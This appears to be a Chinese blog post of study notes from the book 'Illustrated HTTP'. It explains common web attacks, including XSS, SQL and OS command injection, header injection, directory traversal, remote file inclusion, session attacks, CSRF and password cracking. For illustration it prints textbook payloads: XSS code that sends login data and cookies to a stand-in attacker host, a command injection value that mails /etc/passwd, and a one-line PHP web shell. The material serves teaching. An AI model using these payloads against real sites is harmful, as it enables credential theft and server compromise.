web的攻擊技術(shù)

嗯......→_→基本為《圖解http》筆記

導(dǎo)言:

簡(jiǎn)單的HTTP協(xié)議本身并不存在安全性問題,因此協(xié)議本身幾乎不會(huì)成為攻擊的對(duì)象。應(yīng)用HTTP協(xié)議的服務(wù)器和客戶端,以及運(yùn)行在服務(wù)器上的Web應(yīng)用等資源才是攻擊目標(biāo)。本文主要針對(duì)web應(yīng)用的攻擊技術(shù)來(lái)進(jìn)行講解。

針對(duì)web應(yīng)用的攻擊模式:

  • 主動(dòng)攻擊
  • 被動(dòng)攻擊
主動(dòng)攻擊(active attack):

指攻擊者通過直接訪問Web應(yīng)用,把攻擊代碼傳入的攻擊模式。由于該模式是直接針對(duì)服務(wù)器上的資源進(jìn)行攻擊,因此攻擊者需要能夠訪問到那些資源,主動(dòng)攻擊模式里具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊

被動(dòng)攻擊(passive attack):

指利用圈套策略執(zhí)行攻擊代碼的攻擊模式。在被動(dòng)攻擊過程中,攻擊者不直接對(duì)目標(biāo)Web應(yīng)用訪問發(fā)起攻擊
被動(dòng)攻擊通常的攻擊模式步驟如下所示:

  1. 攻擊者誘使用戶觸發(fā)已設(shè)置好的陷阱,而陷阱會(huì)啟動(dòng)發(fā)送已嵌入攻擊代碼的HTTP請(qǐng)求
  2. 當(dāng)用戶不知不覺中招之后,用戶的瀏覽器或郵件客戶端就會(huì)觸發(fā)這個(gè)陷阱
  3. 中招后的用戶瀏覽器會(huì)把含有攻擊代碼的HTTP請(qǐng)求發(fā)送給作為攻擊目標(biāo)的Web應(yīng)用,運(yùn)行攻擊代碼
  4. 執(zhí)行完攻擊代碼,存在安全漏洞的Web應(yīng)用會(huì)成為攻擊者的跳板,可能導(dǎo)致用戶所持的Cookie等個(gè)人信息被竊取,登錄狀態(tài)中的用戶權(quán)限遭惡意濫用等后果

被動(dòng)攻擊模式中具有代表性的攻擊是跨站腳本攻擊(XSS)跨站點(diǎn)請(qǐng)求偽造(CSRF)
利用被動(dòng)攻擊,可發(fā)起對(duì)原本從互聯(lián)網(wǎng)上無(wú)法直接訪問的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊。

安全漏洞一:輸出值轉(zhuǎn)義不完全

保留客戶端驗(yàn)證只是為了盡早地辨識(shí)輸入錯(cuò)誤,起到提高UI體驗(yàn)的作用,從數(shù)據(jù)庫(kù)或文件系統(tǒng)、HTML、郵件等輸出Web應(yīng)用處理的數(shù)據(jù)之際,針對(duì)輸出做值轉(zhuǎn)義處理是一項(xiàng)至關(guān)重要的安全策略。當(dāng)輸出值轉(zhuǎn)義不完全時(shí),會(huì)因觸發(fā)攻擊者傳入的攻擊代碼,而給輸出對(duì)象帶來(lái)?yè)p害

攻擊方式1:跨站腳本攻擊(被動(dòng)攻擊)

跨站腳本攻擊(Cross-Site Scripting,XSS)是指通過存在安全漏洞的Web網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊。
  動(dòng)態(tài)創(chuàng)建的HTML部分有可能隱藏著安全漏洞。就這樣,攻擊者編寫腳本設(shè)下陷阱,用戶在自己的瀏覽器上運(yùn)行時(shí),一不小心就會(huì)受到被動(dòng)攻擊。

刪除線顯示出來(lái)并不會(huì)造成太大的不利后果,但如果換成使用script標(biāo)簽將會(huì)如何呢

下圖網(wǎng)站通過地址欄中URI的查詢字段指定ID,即相當(dāng)于在表單內(nèi)自動(dòng)填寫字符串的功能。而就在這個(gè)地方,隱藏著可執(zhí)行跨站腳本攻擊的漏洞

充分熟知此處漏洞特點(diǎn)的攻擊者,于是就創(chuàng)建了下面這段嵌入惡意代碼的URL。并隱藏植入事先準(zhǔn)備好的欺詐郵件中或Web頁(yè)面內(nèi),誘使用戶去點(diǎn)擊該URL
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
瀏覽器打開該URI后,直觀感覺沒有發(fā)生任何變化,但設(shè)置好的腳本卻偷偷開始運(yùn)行了。當(dāng)用戶在表單內(nèi)輸入ID和密碼之后,就會(huì)直接發(fā)送到攻擊者的網(wǎng)站(也就是hackr.jp),導(dǎo)致個(gè)人登錄信息被竊取
之后,ID及密碼會(huì)傳給該正規(guī)網(wǎng)站,接下來(lái)仍然按正常登錄步驟,但是用戶很難意識(shí)到自己的登錄信息已泄露
除了在表單中設(shè)下圈套之外,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶的Cookie信息
<script src=http://hackr.jp/xss.js></script>
js文件代碼為

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content); 
document.write(">");
攻擊方式2:SQL注入攻擊

SQL注入(SQL Injection)是指針對(duì)Web應(yīng)用使用的數(shù)據(jù)庫(kù),通過運(yùn)行非法的SQL而產(chǎn)生的攻擊。該安全隱患有可能引發(fā)極大的威脅,有時(shí)會(huì)直接導(dǎo)致個(gè)人信息及機(jī)密信息的泄露
SQL注入案例,此處把flag=1這個(gè)條件直接無(wú)視掉了
攻擊方式3:OS命令注入攻擊

OS命令注入攻擊(OS Command Injection)是指通過Web應(yīng)用,執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的。只要在能調(diào)用Shell函數(shù)的地方就有存在被攻擊的風(fēng)險(xiǎn),也就是說(shuō),通過OS注入攻擊可執(zhí)行OS上安裝著的各種程序。

下面以咨詢表單的發(fā)送功能為例,講解OS注入攻擊。該功能可將用戶的咨詢郵件按已填寫的對(duì)方郵箱地址發(fā)送過去
OS注入案例
下面摘選處理該表單內(nèi)容的一部分核心代碼
my $adr = $q->param('mailaddress');
open(MAIL, "| usrsbin/sendmail $adr");
print MAIL "From: info@example.com\n"

程序中的open函數(shù)會(huì)調(diào)用sendmail命令發(fā)送郵件,而指定的郵件發(fā)送地址即$adr的值
攻擊者將下面的值指定作為郵件地址
;cat /etc/passwd | mail hack@example.jp
程序接收該值,構(gòu)成以下的命令組合
| usrsbin/sendmail ; cat /etc/passwd | mail hack@example.jp
攻擊者的輸入值中含有分號(hào)(;)。這個(gè)符號(hào)在OS命令中,會(huì)被解析為分隔多個(gè)執(zhí)行命令的標(biāo)記
  可見,sendmail命令執(zhí)行被分隔后,接下去就會(huì)執(zhí)行 cat etcpasswd | mail hack@example.jp這樣的命令了。結(jié)果,含有Linux賬戶信息etcpasswd的文件,就以郵件形式發(fā)送給了hack@example.jp

攻擊方式4:HTTP首部注入攻擊

HTTP首部注入攻擊(HTTPHeader Injection)是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行,添加任意響應(yīng)首部或主體的一種攻擊。屬于被動(dòng)攻擊模式
  向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應(yīng)截?cái)喙?HTTPResponse Splitting Attack)

攻擊者以下面的內(nèi)容替代之前的類別ID后發(fā)送請(qǐng)求
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A代表HTTP報(bào)文中的換行符,緊接著的是可強(qiáng)制將攻擊者網(wǎng)站http://hackr.jp/的會(huì)話ID設(shè)置成SID=123456789的Set-Cookie首部字段。
發(fā)送該請(qǐng)求之后,假設(shè)結(jié)果返回以下響應(yīng)

Location:http://example.com/?cat=101(%0D%0A:換行符)
Set-Cookie:SID=123456789

此刻,首部字段Set-Cookie已生效,因此攻擊者可指定修改任意的Cookie信息。通過和會(huì)話固定攻擊(攻擊者可使用指定的會(huì)話ID)攻擊組合,攻擊者可偽裝成用戶
  攻擊者輸入的%0D%0A,原本應(yīng)該屬于首部字段Location的查詢值部分,但經(jīng)過解析后,%0D%0A變成了換行符,結(jié)果插入了新的首部字段
  這樣一來(lái),攻擊者可在響應(yīng)中插入任意的首部字段
HTTP響應(yīng)截?cái)喙?/strong>是用在HTTP首部注入的一種攻擊。攻擊順序相同,但是要將兩個(gè)%0D%0A%0D%0A并排插入字符串后發(fā)送。利用這兩個(gè)連續(xù)的換行就可作出HTTP首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達(dá)到攻擊目的。這樣的攻擊叫做HTTP響應(yīng)截?cái)喙?/p>

%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要顯示的網(wǎng)頁(yè)內(nèi)容<!--

在可能進(jìn)行HTTP首部注入的環(huán)節(jié),通過發(fā)送上面的字符串,返回結(jié)果得到以下這種響應(yīng)

Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
<HTML><HEAD><TITLE>之后,想要顯示的網(wǎng)頁(yè)內(nèi)容<!--(原來(lái)頁(yè)面對(duì)應(yīng)的首部字段和主體部分全視為注釋)

利用這個(gè)攻擊,已觸發(fā)陷阱的用戶瀏覽器會(huì)顯示偽造的Web頁(yè)面,再讓用戶輸入自己的個(gè)人信息等,可達(dá)到和跨站腳本攻擊相同的效果
  另外,濫用HTTP/1.1中匯集多響應(yīng)返回功能,會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。這種攻擊稱為緩存污染。使用該緩存服務(wù)器的用戶,在瀏覽遭受攻擊的網(wǎng)站時(shí),會(huì)不斷地瀏覽被替換掉的Web網(wǎng)頁(yè)

攻擊方式5:郵件首部注入攻擊

下面以Web頁(yè)面中的咨詢表單為例講解郵件首部注入攻擊。該功能可在表單內(nèi)填入咨詢者的郵件地址及咨詢內(nèi)容后,以郵件的形式發(fā)送給網(wǎng)站管理員

攻擊者將以下數(shù)據(jù)作為郵件地址發(fā)起請(qǐng)求
bob@hackr.jp%0D%0ABcc:user@example.com
%0D%0A在郵件報(bào)文中代表?yè)Q行符。一旦咨詢表單所在的Web應(yīng)用接收了這個(gè)換行符,就可能實(shí)現(xiàn)對(duì)Bcc郵件地址的追加發(fā)送,而這原本是無(wú)法指定的
另外像下面一樣,使用兩個(gè)連續(xù)的換行符就有可能篡改郵件文本內(nèi)容并發(fā)送
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改寫To和Subject等任意郵件首部,或向文本添加附件等動(dòng)作

攻擊方式6:目錄遍歷攻擊

目錄遍歷(Directory Traversal)攻擊是指對(duì)本無(wú)意公開的文件目錄,通過非法截?cái)嗥淠夸浡窂胶螅_(dá)成訪問目的的一種攻擊。這種攻擊有時(shí)也稱為路徑遍歷(Path Traversal)攻擊 , 固然存在輸出值轉(zhuǎn)義的問題,但更應(yīng)該關(guān)閉指定對(duì)任意文件名的訪問權(quán)限
下面以顯示讀取文件功能為例,講解目錄遍歷攻擊。該功能通過以下查詢字段,指定某個(gè)文件名。然后從www/log/文件目錄下讀取這個(gè)指定的文件
http://example.com/read.php?log=0401.log
攻擊者設(shè)置如下查詢字段后發(fā)出請(qǐng)求
http://example.com/read.php?log=../..etcpasswd
查詢字段為了讀取攻擊者盯上的etcpasswd文件,會(huì)從wwwlog/目錄開始定位相對(duì)路徑。如果這份read.php腳本接受對(duì)指定目錄的訪問請(qǐng)求處理,那原本不公開的文件就存在可被訪問的風(fēng)險(xiǎn)

攻擊方式7:遠(yuǎn)程文件包含漏洞

遠(yuǎn)程文件包含漏洞(Remote File Inclusion)是指當(dāng)部分腳本內(nèi)容需要從其他文件讀入時(shí),攻擊者利用指定外部服務(wù)器的URL充當(dāng)依賴文件,讓腳本讀取之后,就可運(yùn)行任意腳本的一種攻擊 , 主要是PHP存在的安全漏洞 , 固然存在輸出值轉(zhuǎn)義的問題,但更應(yīng)控制對(duì)任意文件名的指定
下面以include讀入由查詢字段指定文件的功能為例,講解遠(yuǎn)程文件包含漏洞。該功能可通過以下查詢字段形式指定文件名,并在腳本內(nèi)的include語(yǔ)句處讀入這個(gè)指定文件
http://example.com/foo.php?mod=news.php
對(duì)應(yīng)腳本的源代碼如下所示
http://example.com/foo.php的源代碼(部分摘錄)

$modname=$_GET['mod'];
include($modname);

攻擊者指定如同下面形式的URL發(fā)出請(qǐng)求
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻擊者已事先在外部服務(wù)器上準(zhǔn)備了以下這段腳本
http://hackr.jp/cmd.php的源代碼
<?system($_GET['cmd'])?>
假設(shè)Web服務(wù)器(example.com)的include可以引入外部服務(wù)器的URL,那就會(huì)讀入攻擊者在外部服務(wù)器上事先準(zhǔn)備的URL(http://hackr.jp/cmd.php)。結(jié)果,通過system函數(shù)就能在Web服務(wù)器(example.com)上執(zhí)行查詢字段指定的OS命令了

安全漏洞二:設(shè)置或設(shè)計(jì)上有缺陷

指錯(cuò)誤設(shè)置web服務(wù)器,或是由設(shè)計(jì)上的一些問題引發(fā)的安全漏洞

攻擊方式1:強(qiáng)制瀏覽

對(duì)那些原本不愿公開的文件,為了保證安全會(huì)隱蔽其URL??梢坏┲懒四切︰RL,也就意味著可瀏覽URL對(duì)應(yīng)的文件。直接顯示容易推測(cè)的文件名或文件目錄索引時(shí),通過某些方法可能會(huì)使URL產(chǎn)生泄露
例如通過
http://www.example.com/entry/entry_081202.log
可以推出下一個(gè)文件是
http://www.example.com/entry/entry_081203.log
解決方案 : 直接通過URL訪問原本必須經(jīng)過認(rèn)證才能在Web頁(yè)面上使用的文件(HTML文件、圖片、PDF等文檔、CSS以及其他數(shù)據(jù)等)

攻擊方式2:不正確的錯(cuò)誤消息處理

簡(jiǎn)而言之 , 這個(gè)說(shuō)的就是程序出錯(cuò)或者業(yè)務(wù)出錯(cuò)一般都會(huì)爆出很具體很嚴(yán)謹(jǐn)?shù)腻e(cuò)誤信息 , 但是這個(gè)信息暴露給客戶端就不太好 , 會(huì)被人利用 , 給攻擊者啟發(fā) , 我們要控制好提供給客戶端信息的度

攻擊方式3:開放重定向

攻擊者把重定向指定的參數(shù)改寫成已設(shè)好陷阱的Web網(wǎng)站對(duì)應(yīng)的連接,如下所示
http://example.com/?redirect=http://hackr.jp
用戶看到URL后原以為訪問example.com,不料實(shí)際上被誘導(dǎo)至hackr.jp這個(gè)指定的重定向目標(biāo)
可信度高的Web網(wǎng)站如果開放重定向功能,則很有可能被攻擊者選中并用來(lái)作為釣魚攻擊的跳板

安全漏洞三:會(huì)話(session)管理疏忽

會(huì)話管理是用來(lái)管理用戶狀態(tài)的必備功能,但是如果在會(huì)話管理上有所疏忽,就會(huì)導(dǎo)致用戶的認(rèn)證狀態(tài)被竊取等后果

攻擊方式1:會(huì)話劫持

會(huì)話劫持(Session Hijack)是指攻擊者通過某種手段拿到了用戶的會(huì)話ID,并非法使用此會(huì)話ID偽裝成用戶,達(dá)到攻擊的目的
會(huì)話劫持

列舉幾種攻擊者可獲得會(huì)話ID的途徑:

  • 通過非正規(guī)的生成方法推測(cè)會(huì)話ID;
  • 通過竊聽或XSS攻擊盜取會(huì)話ID;
  • 通過會(huì)話固定攻擊(Session Fixation)強(qiáng)行獲取會(huì)話ID

下面我們以認(rèn)證功能為例講解會(huì)話劫持。這里的認(rèn)證功能通過會(huì)話管理機(jī) 制,會(huì)將成功認(rèn)證的用戶的會(huì)話ID(SID)保存在用戶瀏覽器的Cookie中
會(huì)話劫持攻擊案例

攻擊者在得知該Web網(wǎng)站存在可跨站攻擊(XSS)的安全漏洞后,就設(shè)置好用JavaScript腳本調(diào)用document.cookie以竊取Cookie信息的陷阱,一旦用戶踏入陷阱(訪問了該腳本),攻擊者就能獲取含有會(huì)話ID的Cookie
  攻擊者拿到用戶的會(huì)話ID后,往自己的瀏覽器的Cookie中設(shè)置該會(huì)話ID,即可偽裝成會(huì)話ID遭竊的用戶,訪問Web網(wǎng)站了

攻擊方式2:會(huì)話固定攻擊(被動(dòng)攻擊)

對(duì)以竊取目標(biāo)會(huì)話ID為主動(dòng)攻擊手段的會(huì)話劫持而言,會(huì)話固定攻擊(Session Fixation)攻擊會(huì)強(qiáng)制用戶使用攻擊者指定的會(huì)話ID
下面我們以認(rèn)證功能為例講解會(huì)話固定攻擊。這個(gè)Web網(wǎng)站的認(rèn)證功能,會(huì)在認(rèn)證前發(fā)布一個(gè)會(huì)話ID,若認(rèn)證成功,就會(huì)在服務(wù)器內(nèi)改變認(rèn)證狀態(tài)

會(huì)話固定攻擊案例

攻擊者準(zhǔn)備陷阱,先訪問Web網(wǎng)站拿到會(huì)話ID(SID=f5d1278e8109)。此刻,會(huì)話ID在服務(wù)器上的記錄仍是(未認(rèn)證)狀態(tài)。(步驟①~②)
  攻擊者設(shè)置好強(qiáng)制用戶使用該會(huì)話ID的陷阱,并等待用戶拿著這個(gè)會(huì)話ID前去認(rèn)證。一旦用戶觸發(fā)陷阱并完成認(rèn)證,會(huì)話ID(SID=f5d1278e8109)在服務(wù)器上的狀態(tài)(用戶A已認(rèn)證)就會(huì)被記錄下來(lái)。(步驟③)
  攻擊者估計(jì)用戶差不多已觸發(fā)陷阱后,再利用之前這個(gè)會(huì)話ID訪問網(wǎng)站。由于該會(huì)話ID目前已是(用戶A已認(rèn)證)狀態(tài),于是攻擊者作為用戶A的身份順利登錄網(wǎng)站。(步驟④)
Session Adoption
  Session Adoption是指PHP或ASP.NET能夠接收處理未知會(huì)話ID的功能
  惡意使用該功能便可跳過會(huì)話固定攻擊的準(zhǔn)備階段,從Web網(wǎng)站獲得發(fā)行的會(huì)話ID的步驟。即,攻擊者可私自創(chuàng)建會(huì)話ID構(gòu)成陷阱,中間件卻會(huì)誤以為該會(huì)話ID是未知會(huì)話ID而接受

攻擊方式3:跨站點(diǎn)請(qǐng)求偽造(被動(dòng)攻擊)

跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries,CSRF)攻擊是指攻擊者通過設(shè)置好的陷阱,強(qiáng)制對(duì)已完成認(rèn)證的用戶進(jìn)行非預(yù)期的個(gè)人信息或設(shè)定信息等某些狀態(tài) 更新
  跨站點(diǎn)請(qǐng)求偽造有可能會(huì)造成以下等影響:利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等;利用已通過認(rèn)證的用戶權(quán)限購(gòu)買商品;利用已通過認(rèn)證的用戶權(quán)限在留言板上發(fā)表言論

下面以留言板功能為例,講解跨站點(diǎn)請(qǐng)求偽造。該功能只允許已認(rèn)證并登錄的用戶在留言板上發(fā)表內(nèi)容
跨站點(diǎn)請(qǐng)求偽造攻擊案例
在該留言板系統(tǒng)上,受害者用戶A是已認(rèn)證狀態(tài)。它的瀏覽器中的Cookie持有已認(rèn)證的會(huì)話ID(步驟①)
  攻擊者設(shè)置好一旦用戶訪問,即會(huì)發(fā)送在留言板上發(fā)表非主觀行為產(chǎn)生的評(píng)論的請(qǐng)求的陷阱。用戶A的瀏覽器執(zhí)行完陷阱中的請(qǐng)求后,留言板上也就會(huì)留下那條評(píng)論(步驟②)

觸發(fā)陷阱之際,如果用戶A尚未通過認(rèn)證,則無(wú)法利用用戶A的身份權(quán)限在留言板上發(fā)表內(nèi)容

安全漏洞四:其他

攻擊方式1:密碼破解

密碼破解有以下兩種手段:通過網(wǎng)絡(luò)的密碼試錯(cuò);對(duì)已加密密碼的破解(指攻擊者入侵系統(tǒng),已獲得加密或散列處理的密碼數(shù)據(jù)的情況)
  除去突破認(rèn)證的攻擊手段,還有SQL注入攻擊逃避認(rèn)證,跨站腳本攻擊竊取密碼信息等方法

密碼試錯(cuò):

  • 窮舉法(Brute-force Attack,又稱暴力破解法)是指對(duì)所有密鑰集合構(gòu)成的 密鑰空間(Keyspace)進(jìn)行窮舉。比如銀行采用的個(gè)人識(shí)別碼是由“4位數(shù)字”組成的密碼,那么就要從0000~9999中的全部數(shù)字逐個(gè)進(jìn)行嘗試。從現(xiàn)實(shí)角度考量,攻擊是失敗的。
  • 字典攻擊是指利用事先收集好的候選密碼(經(jīng)過各種組合方式后存入字典),枚舉字典中的密碼,嘗試通過認(rèn)證的一種攻擊手法,還是舉銀行采用個(gè)人識(shí)別碼是“4位數(shù)字”的密碼的例子,考慮到用戶使用自己的生日做密碼的可能性較高,于是就可以把生日日期數(shù)值化,如將0101~1231保存成字典,進(jìn)行嘗試

對(duì)已加密密碼的破解:

  • 通過窮舉法·字典攻擊進(jìn)行類推

    針對(duì)密碼使用散列函數(shù)進(jìn)行加密處理的情況,采用和窮舉法或字典攻擊相同的手法,嘗試調(diào)用相同的散列函數(shù)加密候選密碼,然后把計(jì)算出的散列值與目標(biāo)散列值匹配,類推出密碼
  • 彩虹表
    彩虹表(Rainbow Table)是由明文密碼及與之對(duì)應(yīng)的散列值構(gòu)成的一張數(shù)據(jù) 庫(kù)表,是一種通過事先制作龐大的彩虹表,可在窮舉法·字典攻擊等實(shí)際破解過程中縮短消耗時(shí)間的技巧。從彩虹表內(nèi)搜索散列值就可以推導(dǎo)出對(duì)應(yīng)的明文密碼。

    為了提高攻擊成功率,擁有一張海量數(shù)據(jù)的彩虹表就成了必不可少的條件。例如在Free Rainbow Tables 網(wǎng)站上公布的一張由大小寫字母及數(shù)字全排列的1~8位字符串對(duì)應(yīng)的MD5散列值構(gòu)成的彩虹表,其大小約為1050吉字節(jié)。

  • 拿到密鑰
    使用共享密鑰加密方式對(duì)密碼數(shù)據(jù)進(jìn)行加密處理的情況下,如果能通過某種手段拿到加密使用的密鑰,也就可以對(duì)密碼數(shù)據(jù)解密了

  • 加密算法的漏洞
    考慮到加密算法本身可能存在的漏洞,利用該漏洞嘗試解密也是一種可行的方法。但是要找到那些已廣泛使用的加密算法的漏洞,又談何容易,因此困 難極大,不易成功
    而Web應(yīng)用開發(fā)者獨(dú)立實(shí)現(xiàn)的加密算法,想必尚未經(jīng)過充分的驗(yàn)證,還是 很有可能存在漏洞的

攻擊方式2:點(diǎn)擊劫持

點(diǎn)擊劫持(Click jack ing)是指利用透明的按鈕或鏈接做成陷阱,覆蓋在Web頁(yè)面之上。然后誘使用戶在不知情的情況下,點(diǎn)擊那個(gè)鏈接訪問內(nèi)容的一種攻擊手段。這種行為又稱為界面?zhèn)窝b(UI Redressing)

攻擊方式3:Dos攻擊

DoS 攻擊(Denial of Serv ice attack)是一種讓運(yùn)行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊。有時(shí)也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊。DoS攻擊的對(duì)象不僅限于Web網(wǎng)站,還包括網(wǎng)絡(luò)設(shè)備及服務(wù)器等
  主要有以下兩種DoS攻擊方式:

  • 集中利用訪問請(qǐng)求造成資源過載,資源用盡的同時(shí),實(shí)際上服務(wù)也就呈停止?fàn)顟B(tài);
  • 通過攻擊安全漏洞使服務(wù)停止
      其中,集中利用訪問請(qǐng)求的DoS攻擊,單純來(lái)講就是發(fā)送大量的合法請(qǐng)求。服務(wù)器很難分辨何為正常請(qǐng)求,何為攻擊請(qǐng)求,因此很難防止DoS攻擊
攻擊方式4:后門程序

后門程序(Backdoor)是指開發(fā)設(shè)置的隱藏入口,可不按正常步驟使用受限功能。利用后門程序就能夠使用原本受限制的功能。
  通常的后門程序分為以下3種類型:

  • 開發(fā)階段作為Debug調(diào)用的后門程序;
  • 開發(fā)者為了自身利益植入的后門程序;
  • 攻擊者通過某種方法設(shè)置的后門程序。
      可通過監(jiān)視進(jìn)程和通信的狀態(tài)發(fā)現(xiàn)被植入的后門程序。但設(shè)定在Web應(yīng)用中的后門程序,由于和正常使用時(shí)區(qū)別不大,通常很難發(fā)現(xiàn)。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容